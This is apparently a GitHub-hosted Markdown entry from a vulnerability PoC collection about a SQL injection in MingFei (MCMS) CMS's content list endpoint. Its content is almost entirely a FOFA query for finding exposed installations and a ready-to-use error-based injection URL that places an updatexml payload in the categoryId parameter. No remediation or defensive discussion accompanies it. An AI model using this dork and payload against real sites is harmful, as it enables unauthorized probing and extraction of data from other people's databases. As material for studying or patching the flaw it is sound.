Skip to content

Latest commit

 

History

History
12 lines (10 loc) · 369 Bytes

铭飞CMS list接口存在SQL注入.md

File metadata and controls

12 lines (10 loc) · 369 Bytes

铭飞CMS list接口存在SQL注入

fofa

body="铭飞MCMS" || body="/mdiy/formData/save.do" || body="static/plugins/ms/1.0.0/ms.js"

poc

http://127.0.0.1/cms/content/list?categoryId=1%27%20and%20updatexml(1,concat(0x7e,md5(123),0x7e),1)%20and%20%271

image